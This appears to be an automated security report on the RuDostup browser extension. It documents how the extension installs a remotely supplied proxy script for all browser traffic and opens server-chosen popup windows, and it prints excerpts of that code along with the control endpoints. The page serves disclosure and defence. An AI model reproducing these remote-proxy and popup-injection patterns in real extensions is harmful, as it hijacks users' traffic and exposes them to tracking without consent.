Is RuDostup — Обход блокировки YouTube в Северной Корее safe?
RuDostup fetches a remote proxy script from ytprx.ru and routes all of the user's browser traffic through a server-controlled proxy.
On startup and on every page navigation, the extension contacts ytprx.ru and installs the PAC (proxy auto-config) script it returns browser-wide, so every site you visit can be directed through the operator's servers, not just YouTube. The proxy rules are re-fetched continuously and can be changed remotely at any time, and if the secure endpoint is unreachable the extension falls back to fetching the same configuration over plaintext HTTP from a hardcoded IP. The server response also drives extra behavior, including injecting a remotely-configured iframe into the YouTube watch page, opening server-supplied URLs in new windows on certain sites, and writing unsanitized HTML into the extension's own popup.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server-Controlled PAC Script Routes All Browser Traffic via Remote Proxy
The service worker contacts ytprx.ru on every startup and navigation.
When it responds proxy.active=true, the extension installs a server-supplied PAC script browser-wide unvalidated, so every request follows the server's rules.
You install the extension or navigate to a new page in your browser.
The extension contacts ytprx.ru, receives a JavaScript proxy ruleset, and installs it as the active proxy configuration for all browser traffic, with no user notification.
The proxy scope is 'regular', which applies to every website the browser visits, not only YouTube-related traffic.
The proxy installation function and its remote-config trigger
async function proxyConnect(pac)
{
var config = {
mode: "pac_script",
pacScript: {
data: pac
}
};
await chrome.proxy.settings.set(
{value: config, scope: 'regular'},
function() {});
}if(text.proxy.active) {
await chrome.proxy.settings.get(
{'incognito': false},
async function(config) {
let toconnect = false;
try
{
if(config.value.pacScript.data != text.proxy.pac ) toconnect = true;
}
catch(e) { toconnect = true; }
if(toconnect) await proxyConnect(text.proxy.pac);
}
);
} else {
await proxyDisconnect();
}chrome.webNavigation.onBeforeNavigate.addListener(async ({ parentFrameId }) => {
if (parentFrameId != -1) return;
runDostup();
});| Field | Value | Why it matters | |
|---|---|---|---|
Extension version | 1.2.2 | The installed extension version string, sent on every request. | |
Partner voucher code | partner | A partner/affiliate attribution token stored in local storage and sent with every poll. | |
Disagreed flag | true | Whether the user has acknowledged a terms-of-service dialog inside the extension. |
- ytprx.ru
Primary command-and-control endpoint. Supplies the PAC JavaScript, the site-injection list, and the popup redirect URL on every poll.
- 45.82.254.40
Bare-IP fallback endpoint (port 8900) contacted when ytprx.ru is unreachable. No TLS on the fallback path (mode: 'no-cors', HTTP).
- report.ytprx.ru
Receives host-reachability reports: when the extension cannot reach a test URL supplied by the server, it POSTs the hostname to this endpoint.
runDostup() fires once at service-worker startup (sw.js:359) and again on every top-level page navigation (chrome.webNavigation.onBeforeNavigate). On an active browser session this means the PAC configuration is refreshed continuously with no minimum interval.
Server-Designated Sites Trigger Remote-URL Popup on First Mouse Click
On server-listed sites, the extension intercepts your first mouse release and opens a window to a URL chosen by ytprx.ru.
Target URL, gated-site list, frequency cap, and timing come from the same server poll that controls the proxy config.
You visit a website whose hostname matches a server-supplied pattern and release the mouse button.
A new browser window opens to a URL supplied by the ytprx.ru server, without any prompt or disclosure.
The destination URL, the list of gated sites, the per-session snap count cap, and the time window are all values the server can change at any time.
The mouseup handler that opens the remote URL
async function addDisclamer(tog, lim, hours, pechenka) {
// tog = server-supplied target URL (disclamer.gate)
// lim = server-supplied snap count cap (disclamer.lim)
// hours = server-supplied cooldown hours (disclamer.wait)
// pechenka = per-user snap state from chrome.storage.local
var PechenkaShow = function() {
if (!check) {
check = true;
var snapsCount = pechenka.snaps?.val ?? 0;
var newCount = (snapsCount == null) ? 1 : parseInt(snapsCount) + 1;
// ... update pechenka state in chrome.storage.local ...
// Open server-supplied URL in new window when snap count > 1
if (newCount > 1)
window.open(tog, '_blank', 'width=...,toolbar=1,...');
}
}
document.body.onmouseup = function () {
if (snapsCount < lim && !snapCooledDown)
PechenkaShow();
};
}// Fires on every top-frame DOMContentLoaded
// Checks if current URL matches server-supplied regex (appStore.sites)
// If it does, injects addDisclamer with the server-supplied gate URL and caps
var sitePattern = new RegExp('^http[ps]+:\/\/(' + appStore.sites + ')\/', 'i');
if (sitePattern.test(url) && appStore.disclamer) {
chrome.scripting.executeScript({
target: { tabId },
func: addDisclamer,
args: [appStore.disclamer.gate, appStore.disclamer.lim, appStore.disclamer.wait, appStore.pechenka]
});
}The server writes these each poll. 'disclamer.gate' is the popup URL; 'sites' is the regex deciding whether to inject the handler.
chrome.storage.local keys: disclamer, sites{
"sites": "youtube\\.com|vk\\.com|ok\\.ru",
"disclamer": {
"lim": 3,
"gate": "https://ytprx.ru/redirect?r=some-affiliate-url",
"wait": 24
}
}- ytprx.ru
Supplies disclamer.gate (the URL the popup window opens), the site-match regex, the snap-count cap, and the cooldown period. These values can be changed server-side at any time.